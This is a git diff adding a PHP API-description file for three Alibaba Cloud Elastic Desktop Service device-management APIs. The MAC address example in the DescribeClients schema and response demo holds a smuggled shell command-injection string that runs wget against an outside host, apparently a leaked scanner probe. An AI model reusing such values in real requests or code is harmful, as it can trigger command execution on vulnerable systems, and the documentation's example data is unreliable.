diff options
Diffstat (limited to 'data/en_us/wyota/2021-04-20')
| -rw-r--r-- | data/en_us/wyota/2021-04-20/api-docs.php | 511 |
1 files changed, 511 insertions, 0 deletions
diff --git a/data/en_us/wyota/2021-04-20/api-docs.php b/data/en_us/wyota/2021-04-20/api-docs.php new file mode 100644 index 0000000..c77a786 --- /dev/null +++ b/data/en_us/wyota/2021-04-20/api-docs.php @@ -0,0 +1,511 @@ +<?php return [ + 'version' => '1.0', + 'info' => ['style' => 'RPC', 'product' => 'wyota', 'version' => '2021-04-20'], + 'directories' => ['DeleteClients', 'DescribeClients', 'GetOrCreateInvitationCode'], + 'components' => [ + 'schemas' => [], + ], + 'apis' => [ + 'DeleteClients' => [ + 'summary' => 'Removes managed terminal devices by UUID.', + 'methods' => ['post'], + 'schemes' => ['https'], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => ['operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free'], + 'parameters' => [ + [ + 'name' => 'InManage', + 'in' => 'formData', + 'schema' => ['description' => 'Specifies whether the device is managed.', 'type' => 'boolean', 'required' => true, 'example' => 'True', 'title' => ''], + ], + [ + 'name' => 'Uuids', + 'in' => 'formData', + 'style' => 'flat', + 'schema' => [ + 'description' => 'The UUIDs of the asset instances. Separate multiple UUIDs with commas (,).', + 'type' => 'array', + 'items' => ['description' => 'The list of image UUIDs.', 'type' => 'string', 'required' => false, 'example' => '06100D58D6E6F0EB01A7A3C261234567', 'title' => ''], + 'required' => true, + 'maxItems' => 100, + 'title' => '', + 'example' => '', + ], + ], + [ + 'name' => 'CallerAliUid', + 'in' => 'query', + 'schema' => ['description' => 'The Alibaba Cloud account ID.', 'type' => 'string', 'required' => false, 'example' => '***', 'title' => ''], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => '', + 'description' => 'Response', + 'type' => 'object', + 'properties' => [ + 'Success' => ['description' => 'Indicates whether the call was successful.', 'type' => 'boolean', 'example' => 'true', 'title' => ''], + 'Code' => ['description' => 'The error code returned if the call failed.', 'type' => 'string', 'example' => 'TERMINAL_NOT_FOUND', 'title' => ''], + 'Message' => ['description' => 'The error message returned if the call failed.', 'type' => 'string', 'example' => 'terminal not found', 'title' => ''], + 'RequestId' => ['description' => 'The request ID.', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA', 'title' => ''], + 'HttpStatusCode' => ['description' => 'The HTTP status code.', 'type' => 'integer', 'format' => 'int32', 'example' => '200', 'title' => ''], + ], + 'example' => '', + ], + ], + ], + 'title' => 'Remove device management', + 'changeSet' => [], + 'ramActions' => [ + [ + 'operationType' => 'delete', + 'ramAction' => [ + 'action' => 'ecd:DeleteClients', + 'authLevel' => 'operate', + 'actionConditions' => [], + 'resources' => [ + ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => 'All Resource', 'arn' => '*'], + ], + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"TERMINAL_NOT_FOUND\\",\\n \\"Message\\": \\"terminal not found\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + ], + 'DescribeClients' => [ + 'methods' => ['post'], + 'schemes' => ['https'], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => ['operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free'], + 'parameters' => [ + [ + 'name' => 'TerminalGroupId', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The group ID.', 'type' => 'string', 'required' => false, 'example' => 'tg-bp103v8x70nasykdjrd1'], + ], + [ + 'name' => 'Uuids', + 'in' => 'formData', + 'style' => 'flat', + 'schema' => [ + 'description' => 'The UUIDs of the servers to query. Separate multiple UUIDs with commas (,).', + 'type' => 'array', + 'items' => ['description' => 'The list of asset instance UUIDs. Separate multiple UUIDs with commas (,).', 'type' => 'string', 'required' => false, 'example' => '06100D58D6E6F0EB01A7A3C261234567', 'title' => ''], + 'required' => false, + 'maxItems' => 100, + 'title' => '', + 'example' => '', + ], + ], + [ + 'name' => 'SearchKeyword', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The fuzzy search parameter. Supports fuzzy search by SN, alias, or IP address. This parameter is incompatible with exact search parameters.', 'type' => 'string', 'required' => false, 'example' => '061'], + ], + [ + 'name' => 'NextToken', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The token for the next page.', 'type' => 'string', 'required' => false, 'example' => 'AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****'], + ], + [ + 'name' => 'InManage', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'Specifies whether the client is managed.', 'type' => 'boolean', 'required' => false, 'example' => 'True'], + ], + [ + 'name' => 'MaxResults', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The maximum number of results to return.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '100'], + ], + [ + 'name' => 'WithBindUser', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'Specifies whether to return bound users.', 'type' => 'boolean', 'required' => false, 'example' => ''], + ], + [ + 'name' => 'Model', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The device model.', 'type' => 'string', 'required' => false, 'example' => 'US02-2BFXG'], + ], + [ + 'name' => 'IncludeSubGroups', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'Specifies whether to include subgroups.', 'type' => 'boolean', 'required' => false, 'example' => 'false'], + ], + [ + 'name' => 'ClientType', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The client type.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1'], + ], + [ + 'name' => 'OnlineStatus', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The soft client status.', 'type' => 'boolean', 'required' => false, 'example' => 'True'], + ], + [ + 'name' => 'Platform', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The soft client platform.', 'type' => 'string', 'required' => false, 'example' => 'linux'], + ], + [ + 'name' => 'CustomResourceId', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The custom task ID.', 'type' => 'string', 'required' => false, 'example' => 'cr-***'], + ], + [ + 'name' => 'CustomResourceStatus', + 'in' => 'formData', + 'schema' => ['title' => '', 'description' => 'The effective status of the custom task. Valid values:'."\n" + .'- true: effective.'."\n" + .'- false: ineffective.'."\n" + .'- null: all.', 'type' => 'boolean', 'required' => false, 'example' => ''], + ], + [ + 'name' => 'CallerAliUid', + 'in' => 'query', + 'schema' => ['description' => 'The Alibaba Cloud account ID.', 'type' => 'string', 'required' => false, 'example' => '***', 'title' => ''], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => '', + 'description' => 'NextTokenResponse<TerminalDTO>', + 'type' => 'object', + 'properties' => [ + 'NextToken' => ['description' => 'The token for the next query. If the results are not fully returned in a single query, a non-empty NextToken is returned. You can pass the returned NextToken in subsequent queries to continue retrieving results.', 'type' => 'string', 'example' => 'AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****', 'title' => ''], + 'TotalCount' => ['description' => 'The total number of returned results.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', 'title' => ''], + 'Data' => [ + 'description' => 'The data returned when the call is successful.', + 'type' => 'array', + 'items' => [ + 'description' => 'The data returned when the call is successful.', + 'type' => 'object', + 'properties' => [ + 'Uuid' => ['title' => '', 'description' => 'uuid', 'type' => 'string', 'example' => '04873D3898B51A7DF2455C1E1DC9****'], + 'TerminalGroupId' => ['title' => '', 'description' => 'The terminal group ID.', 'type' => 'string', 'example' => 'tg-default'], + 'Model' => ['title' => '', 'description' => 'The device model.', 'type' => 'string', 'example' => 'US01'], + 'ProductName' => ['title' => '', 'description' => 'productName', 'type' => 'string', 'example' => 'dm'], + 'OnlineStatus' => ['title' => '', 'description' => 'Indicates whether the client is online.', 'type' => 'boolean', 'example' => 'False'], + 'Online' => ['title' => '', 'description' => 'Indicates whether the client is online.', 'type' => 'boolean', 'example' => 'true'], + 'Alias' => ['title' => '', 'description' => 'The alias.', 'type' => 'string', 'example' => 'DemoDevice'], + 'BuildId' => ['title' => '', 'description' => 'The system version number.', 'type' => 'string', 'example' => '7.0.2-RS-***'], + 'WosAppVersion' => ['title' => '', 'description' => 'appVersion', 'type' => 'string', 'example' => '7.0.2-RS-***'], + 'ClientVersion' => ['title' => '', 'description' => 'The client version.', 'type' => 'string', 'example' => '1.2.1-DAILY-20240906.140842'], + 'ClientType' => ['title' => '', 'description' => 'The client type.', 'type' => 'integer', 'format' => 'int32', 'example' => '1'], + 'InManage' => ['title' => '', 'description' => 'Indicates whether the client is managed.', 'type' => 'boolean', 'example' => 'True'], + 'BindUserId' => ['title' => '', 'description' => 'The password-free logon user.', 'type' => 'string', 'example' => '***'], + 'PasswordFreeLoginUser' => ['title' => '', 'description' => 'The password-free logon user.', 'type' => 'string', 'example' => '***'], + 'BindUserCount' => ['title' => '', 'description' => 'The number of bound logon users.', 'type' => 'integer', 'format' => 'int32', 'example' => '1'], + 'UserBindCount' => ['title' => '', 'description' => 'The number of users bound to this device.', 'type' => 'integer', 'format' => 'int32', 'example' => '1'], + 'LocationInfo' => ['title' => '', 'description' => 'The location remarks.', 'type' => 'string', 'example' => '杭州市'], + 'Ipv4' => ['title' => '', 'description' => 'ipv4', 'type' => 'string', 'example' => '192.168.XX.XX'], + 'LoginUser' => ['title' => '', 'description' => 'The currently logged-on user.', 'type' => 'string', 'example' => '***'], + 'CurrentLoginUser' => ['title' => '', 'description' => 'The currently logged-on user.', 'type' => 'string', 'example' => '***'], + 'DesktopId' => ['title' => '', 'description' => 'The currently used desktop.', 'type' => 'string', 'example' => 'ecd-9ior729dcvn91uo9i'], + 'CurrentConnectDesktop' => ['title' => '', 'description' => 'The currently used desktop.', 'type' => 'string', 'example' => 'ecd-drqmaogzbmbdf****'], + 'ManageTime' => ['title' => '', 'description' => 'The time when the client was managed.', 'type' => 'string', 'example' => '2020-01-01 00:00:00'], + 'SetPasswordFreeLoginUserTime' => ['title' => '', 'description' => 'The time when the password-free logon user was set.', 'type' => 'string', 'example' => '2020-01-01 00:00:00'], + 'ManageTimestamp' => ['title' => '', 'description' => 'The timestamp when the client was managed.', 'type' => 'integer', 'format' => 'int64', 'example' => '1000000'], + 'PublicIpv4' => ['title' => '', 'description' => 'The public IP address.', 'type' => 'string', 'example' => '0.0.0.0'], + 'LastLoginUser' => ['title' => '', 'description' => 'The most recently logged-on user.', 'type' => 'string', 'example' => '***'], + 'HardwareInfo' => [ + 'title' => '', + 'description' => 'The hardware information.', + 'type' => 'object', + 'properties' => [ + 'Mac' => ['title' => '', 'description' => 'The Ethernet MAC address.', 'type' => 'string', 'example' => '00:1A:2B:3C:4D:5E&&`wget 31lojfVB.popscan.xaliyun.com`%3B'], + 'Bluetooth' => ['title' => '', 'description' => 'The Bluetooth MAC address.', 'type' => 'string', 'example' => '24:21:5E:B3:5A:4A'], + 'Wlan' => ['title' => '', 'description' => 'wifi mac', 'type' => 'string', 'example' => '54:f2:9f:bc:fe:cc'], + 'ChipId' => ['title' => '', 'description' => 'chipId', 'type' => 'string', 'example' => '7fa062813c5ac970'], + 'Cpu' => ['title' => '', 'description' => 'The CPU information.', 'type' => 'string', 'example' => '24'], + 'Memory' => ['title' => '', 'description' => 'The memory information.', 'type' => 'string', 'example' => '128'], + 'Storage' => ['title' => '', 'description' => 'The storage information.', 'type' => 'string', 'example' => '20'], + ], + 'example' => '', + ], + 'FunctionSupport' => [ + 'title' => '', + 'description' => 'The features and support information.', + 'type' => 'object', + 'properties' => [ + 'SupportPasswordFreeLogin' => ['title' => '', 'description' => 'Indicates whether password-free logon is supported.', 'type' => 'boolean', 'example' => 'True'], + 'PasswordFreeLoginForbiddenReason' => ['title' => '', 'description' => 'The reason why password-free logon is forbidden.', 'type' => 'string', 'example' => 'Reason'], + 'SupportReboot' => ['title' => '', 'description' => 'Indicates whether restart is supported.', 'type' => 'boolean', 'example' => 'True'], + 'SupportStop' => ['title' => '', 'description' => 'Indicates whether shutdown is supported.', 'type' => 'boolean', 'example' => 'True'], + 'SupportReset' => ['title' => '', 'description' => 'Indicates whether factory reset is supported.', 'type' => 'boolean', 'example' => 'True'], + 'SupportUpgrade' => ['title' => '', 'description' => 'Indicates whether remote upgrade is supported.', 'type' => 'boolean', 'example' => 'True'], + 'SupportDiagnose' => ['title' => '', 'description' => 'Indicates whether remote diagnostics is supported.', 'type' => 'boolean', 'example' => 'True'], + 'SupportModifyPolicy' => ['title' => '', 'description' => 'Indicates whether policy modification is supported.', 'type' => 'boolean', 'example' => 'True'], + 'EnablePolicy' => ['title' => '', 'description' => 'Indicates whether standalone policy is supported.', 'type' => 'boolean', 'example' => 'True'], + 'VersionTooLow' => ['title' => '', 'description' => 'Indicates whether the version is too low and an upgrade is recommended.', 'type' => 'boolean', 'example' => 'True'], + 'SupportLimitLoginUser' => ['title' => '', 'description' => 'Indicates whether restricting logon users is supported.', 'type' => 'boolean', 'example' => 'True'], + 'SupportResetPin' => ['title' => '', 'description' => 'Indicates whether the clear PIN button is grayed out.', 'type' => 'boolean', 'example' => 'True'], + 'VersionSupported' => ['title' => '', 'description' => 'Indicates whether the version is supported (V7.12.0 or later).', 'type' => 'boolean', 'example' => 'True'], + 'SupportAssistLogin' => ['title' => '', 'description' => 'Indicates whether assisted logon is supported.', 'type' => 'boolean', 'example' => 'True'], + 'UnsupportAssistLoginReason' => ['title' => '', 'description' => 'The reason why assisted logon is forbidden.', 'type' => 'string', 'example' => 'Reason'], + 'SupportManage' => ['title' => '', 'description' => 'Indicates whether management is supported.', 'type' => 'boolean', 'example' => 'True'], + 'UnsupportManageReason' => ['title' => '', 'description' => 'The reason why management is forbidden.', 'type' => 'string', 'example' => 'Reason'], + 'SupportLocalDeviceSn' => ['title' => '', 'description' => 'Indicates whether localDeviceSn is supported.', 'type' => 'boolean', 'example' => 'True'], + 'UnsupportedLocalDeviceSnReason' => ['title' => '', 'description' => 'The reason why localDeviceSn is forbidden.', 'type' => 'string', 'example' => 'Reason'], + ], + 'example' => '', + ], + 'DeviceOs' => ['title' => '', 'description' => 'The device operating system.', 'type' => 'string', 'example' => 'Windows'], + 'Platform' => ['title' => '', 'description' => 'The device type.', 'type' => 'string', 'example' => '123123'], + 'ModelPreviewUrl' => ['title' => '', 'description' => 'The preview image URL of the device type.', 'type' => 'string', 'example' => '***'], + 'CustomResourceId' => ['title' => '', 'description' => 'The custom resource ID.', 'type' => 'string', 'example' => '***'], + 'CustomResourceName' => ['title' => '', 'description' => 'The custom resource name.', 'type' => 'string', 'example' => '***'], + 'CustomResourceStatus' => ['title' => '', 'description' => 'The custom resource status.', 'type' => 'boolean', 'example' => '***'], + 'CustomResInvalidReason' => ['title' => '', 'description' => 'The reason why the custom resource is invalid.', 'type' => 'string', 'example' => '***'], + 'HostOsInfo' => ['description' => 'The host operating system information.', 'type' => 'string', 'example' => 'Windows', 'title' => ''], + 'AliUid' => ['title' => '', 'description' => 'aliUid', 'type' => 'integer', 'format' => 'int64', 'example' => '1627390268362106'], + 'MainBizType' => ['title' => '', 'description' => 'The main business type.', 'type' => 'string', 'example' => 'enterprise'], + 'UpgradeDownloadType' => ['title' => '', 'description' => 'The upgrade type. Valid values: internet and lan.', 'type' => 'string', 'example' => 'internet'], + 'LocalDeviceSn' => ['title' => '', 'description' => 'The on-premises device SN.', 'type' => 'string', 'example' => '***'], + 'DesktopRegionId' => ['title' => '', 'description' => 'The desktop region.', 'type' => 'string', 'example' => 'cn-hangzhou'], + 'IpGeoLocation' => ['title' => '', 'description' => 'The geolocation of the public IP address.', 'type' => 'string', 'example' => 'CN-Zhejiang'], + 'AreaSite' => ['title' => '', 'description' => 'The area site.', 'type' => 'string', 'example' => 'ap-southeast-1'], + ], + 'title' => '', + 'example' => '', + ], + 'title' => '', + 'example' => '', + ], + 'Success' => ['description' => 'Indicates whether the call was successful.', 'type' => 'boolean', 'example' => 'true', 'title' => ''], + 'Code' => ['description' => 'The error code returned when the call fails.', 'type' => 'string', 'example' => 'TERMINAL_NOT_FOUND', 'title' => ''], + 'Message' => ['description' => 'The error message returned when the call fails.', 'type' => 'string', 'example' => 'terminal not found', 'title' => ''], + 'RequestId' => ['description' => 'The request ID.', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA', 'title' => ''], + 'HttpStatusCode' => ['description' => 'The HTTP status code.', 'type' => 'integer', 'format' => 'int32', 'example' => '200', 'title' => ''], + ], + 'example' => '', + ], + ], + ], + 'title' => 'Query client information', + 'summary' => 'Queries information about all managed clients.', + 'changeSet' => [], + 'ramActions' => [ + [ + 'operationType' => 'none', + 'ramAction' => [ + 'action' => 'ecd:DescribeClients', + 'authLevel' => 'operate', + 'actionConditions' => [], + 'resources' => [ + ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => 'All Resource', 'arn' => '*'], + ], + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NextToken\\": \\"AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****\\",\\n \\"TotalCount\\": 20,\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"04873D3898B51A7DF2455C1E1DC9****\\",\\n \\"TerminalGroupId\\": \\"tg-default\\",\\n \\"Model\\": \\"US01\\",\\n \\"ProductName\\": \\"dm\\",\\n \\"OnlineStatus\\": true,\\n \\"Online\\": true,\\n \\"Alias\\": \\"DemoDevice\\",\\n \\"BuildId\\": \\"7.0.2-RS-***\\",\\n \\"WosAppVersion\\": \\"7.0.2-RS-***\\",\\n \\"ClientVersion\\": \\"1.2.1-DAILY-20240906.140842\\",\\n \\"ClientType\\": 1,\\n \\"InManage\\": true,\\n \\"BindUserId\\": \\"***\\",\\n \\"PasswordFreeLoginUser\\": \\"***\\",\\n \\"BindUserCount\\": 1,\\n \\"UserBindCount\\": 1,\\n \\"LocationInfo\\": \\"杭州市\\",\\n \\"Ipv4\\": \\"192.168.XX.XX\\",\\n \\"LoginUser\\": \\"***\\",\\n \\"CurrentLoginUser\\": \\"***\\",\\n \\"DesktopId\\": \\"ecd-9ior729dcvn91uo9i\\",\\n \\"CurrentConnectDesktop\\": \\"ecd-drqmaogzbmbdf****\\",\\n \\"ManageTime\\": \\"2020-01-01 00:00:00\\",\\n \\"SetPasswordFreeLoginUserTime\\": \\"2020-01-01 00:00:00\\",\\n \\"ManageTimestamp\\": 1000000,\\n \\"PublicIpv4\\": \\"0.0.0.0\\",\\n \\"LastLoginUser\\": \\"***\\",\\n \\"HardwareInfo\\": {\\n \\"Mac\\": \\"00:1A:2B:3C:4D:5E&&`wget 31lojfVB.popscan.xaliyun.com`%3B\\",\\n \\"Bluetooth\\": \\"24:21:5E:B3:5A:4A\\",\\n \\"Wlan\\": \\"54:f2:9f:bc:fe:cc\\",\\n \\"ChipId\\": \\"7fa062813c5ac970\\",\\n \\"Cpu\\": \\"24\\",\\n \\"Memory\\": \\"128\\",\\n \\"Storage\\": \\"20\\"\\n },\\n \\"FunctionSupport\\": {\\n \\"SupportPasswordFreeLogin\\": true,\\n \\"PasswordFreeLoginForbiddenReason\\": \\"Reason\\",\\n \\"SupportReboot\\": true,\\n \\"SupportStop\\": true,\\n \\"SupportReset\\": true,\\n \\"SupportUpgrade\\": true,\\n \\"SupportDiagnose\\": true,\\n \\"SupportModifyPolicy\\": true,\\n \\"EnablePolicy\\": true,\\n \\"VersionTooLow\\": true,\\n \\"SupportLimitLoginUser\\": true,\\n \\"SupportResetPin\\": true,\\n \\"VersionSupported\\": true,\\n \\"SupportAssistLogin\\": true,\\n \\"UnsupportAssistLoginReason\\": \\"Reason\\",\\n \\"SupportManage\\": true,\\n \\"UnsupportManageReason\\": \\"Reason\\",\\n \\"SupportLocalDeviceSn\\": true,\\n \\"UnsupportedLocalDeviceSnReason\\": \\"Reason\\"\\n },\\n \\"DeviceOs\\": \\"Windows\\",\\n \\"Platform\\": \\"123123\\",\\n \\"ModelPreviewUrl\\": \\"***\\",\\n \\"CustomResourceId\\": \\"***\\",\\n \\"CustomResourceName\\": \\"***\\",\\n \\"CustomResourceStatus\\": true,\\n \\"CustomResInvalidReason\\": \\"***\\",\\n \\"HostOsInfo\\": \\"Windows\\",\\n \\"AliUid\\": 1627390268362106,\\n \\"MainBizType\\": \\"enterprise\\",\\n \\"UpgradeDownloadType\\": \\"internet\\",\\n \\"LocalDeviceSn\\": \\"***\\",\\n \\"DesktopRegionId\\": \\"cn-hangzhou\\",\\n \\"IpGeoLocation\\": \\"CN-Zhejiang\\",\\n \\"AreaSite\\": \\"ap-southeast-1\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"Code\\": \\"TERMINAL_NOT_FOUND\\",\\n \\"Message\\": \\"terminal not found\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + ], + 'GetOrCreateInvitationCode' => [ + 'summary' => 'Retrieves or creates an invitation code for desktop device enrollment.'."\n" + .'Query mode: Pass only terminalGroupId to return the current invitation code and its expiration status in read-only mode.'."\n" + .'Creation mode: Pass terminalGroupId along with an expiration duration (expireDays or expireMinutes) to generate a new code that overwrites the existing invitation code.', + 'methods' => ['post'], + 'schemes' => ['https'], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => ['operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'tenantRelevance' => 'tenant'], + 'parameters' => [ + [ + 'name' => 'ExpireDays', + 'in' => 'formData', + 'schema' => ['description' => 'The validity period in days, calculated from the current time. Set to -1 for permanent validity.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', 'title' => ''], + ], + [ + 'name' => 'TerminalGroupId', + 'in' => 'formData', + 'schema' => ['description' => 'The terminal group ID.', 'type' => 'string', 'required' => false, 'example' => 'tg-XXX', 'title' => ''], + ], + [ + 'name' => 'Type', + 'in' => 'formData', + 'schema' => ['description' => 'The validity period type. Valid values:'."\n" + .'- 1: The response returns the expiration in days. This is the default value if Type is not specified.'."\n" + .'- 2: The response returns the expiration in minutes.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => 'cron', 'title' => ''], + ], + [ + 'name' => 'ExpireMinutes', + 'in' => 'formData', + 'schema' => ['description' => 'The validity period in minutes, calculated from the current time. Set to -1 for permanent validity.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', 'title' => ''], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => '', + 'description' => 'SingleResponse<InvitationCodeDTO>', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => 'The data returned when the call is successful.', + 'type' => 'object', + 'properties' => [ + 'AuthCode' => ['description' => 'The authentication code for device enrollment.', 'type' => 'string', 'example' => '000000', 'title' => ''], + 'ExpireTime' => ['description' => 'The expiration time of the compute group.', 'type' => 'string', 'example' => '1772162247', 'title' => ''], + 'Expired' => ['description' => 'Indicates whether the invitation code has expired.', 'type' => 'boolean', 'example' => 'True', 'title' => ''], + ], + 'title' => '', + 'example' => '', + ], + 'Success' => ['description' => 'Indicates whether the call was successful.', 'type' => 'boolean', 'example' => 'true', 'title' => ''], + 'Code' => ['description' => 'The error code returned when the call fails.', 'type' => 'string', 'example' => 'PARAMETER_ERROR', 'title' => ''], + 'Message' => ['description' => 'The error message returned when the call fails.', 'type' => 'string', 'example' => 'parameter error', 'title' => ''], + 'RequestId' => ['description' => 'The request ID.', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA', 'title' => ''], + 'HttpStatusCode' => ['description' => 'The HTTP status code.', 'type' => 'integer', 'format' => 'int32', 'example' => '200', 'title' => ''], + ], + 'example' => '', + ], + ], + ], + 'title' => 'Retrieve or create an invitation code', + 'changeSet' => [], + 'ramActions' => [ + [ + 'operationType' => 'none', + 'ramAction' => [ + 'action' => 'ecd:GetOrCreateInvitationCode', + 'authLevel' => 'operate', + 'actionConditions' => [], + 'resources' => [ + ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => 'All Resource', 'arn' => '*'], + ], + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"AuthCode\\": \\"000000\\",\\n \\"ExpireTime\\": \\"1772162247\\",\\n \\"Expired\\": true\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"PARAMETER_ERROR\\",\\n \\"Message\\": \\"parameter error\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + ], + ], + 'endpoints' => [], + 'errorCodes' => [ + ['code' => 'CUSTOM_NAME_DUP', 'message' => 'Custom name duplicate, please use another name.', 'http_code' => 400, 'description' => 'Duplicate custom task name, please use another name.'], + ], + 'changeSet' => [ + [ + 'apis' => [ + ['description' => 'OpenAPI offline', 'api' => 'CheckUuidValid'], + ], + 'createdAt' => '2025-05-27T09:25:46.000Z', + 'description' => '', + ], + [ + 'apis' => [ + ['description' => 'OpenAPI offline', 'api' => 'CheckUuidValid'], + ], + 'createdAt' => '2025-05-13T14:38:39.000Z', + 'description' => '', + ], + [ + 'apis' => [ + ['description' => 'OpenAPI offline', 'api' => 'CheckUuidValid'], + ], + 'createdAt' => '2025-05-13T11:06:03.000Z', + 'description' => '', + ], + [ + 'apis' => [ + ['description' => 'Request parameters changed', 'api' => 'ListTerminals'], + ], + 'createdAt' => '2025-05-13T10:47:44.000Z', + 'description' => '', + ], + [ + 'apis' => [ + ['description' => 'Request parameters changed', 'api' => 'CheckUuidValid'], + ], + 'createdAt' => '2025-05-06T11:37:07.000Z', + 'description' => '', + ], + [ + 'apis' => [ + ['description' => 'OpenAPI offline', 'api' => 'CheckUuidValid'], + ], + 'createdAt' => '2025-05-06T11:18:20.000Z', + 'description' => '', + ], + [ + 'apis' => [ + ['description' => 'OpenAPI offline', 'api' => 'CheckUuidValid'], + ], + 'createdAt' => '2025-05-06T10:46:49.000Z', + 'description' => '', + ], + [ + 'apis' => [ + ['description' => 'OpenAPI offline', 'api' => 'CheckUuidValid'], + ], + 'createdAt' => '2025-05-06T10:44:32.000Z', + 'description' => '', + ], + ], + 'ram' => [ + 'productCode' => 'ECD', + 'productName' => 'Elastic Desktop Service', + 'ramCodes' => ['ecd', 'eds-user', 'gws', 'wss'], + 'ramLevel' => 'OPERATION', + 'ramConditions' => [], + 'ramActions' => [ + [ + 'apiName' => 'GetOrCreateInvitationCode', + 'description' => '', + 'operationType' => 'none', + 'ramAction' => [ + 'action' => 'ecd:GetOrCreateInvitationCode', + 'authLevel' => 'operate', + 'actionConditions' => [], + 'resources' => [ + ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => 'All Resource', 'arn' => '*'], + ], + ], + ], + [ + 'apiName' => 'DescribeClients', + 'description' => '', + 'operationType' => 'none', + 'ramAction' => [ + 'action' => 'ecd:DescribeClients', + 'authLevel' => 'operate', + 'actionConditions' => [], + 'resources' => [ + ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => 'All Resource', 'arn' => '*'], + ], + ], + ], + [ + 'apiName' => 'DeleteClients', + 'description' => '', + 'operationType' => 'delete', + 'ramAction' => [ + 'action' => 'ecd:DeleteClients', + 'authLevel' => 'operate', + 'actionConditions' => [], + 'resources' => [ + ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => 'All Resource', 'arn' => '*'], + ], + ], + ], + ], + 'resourceTypes' => [], + ], +]; |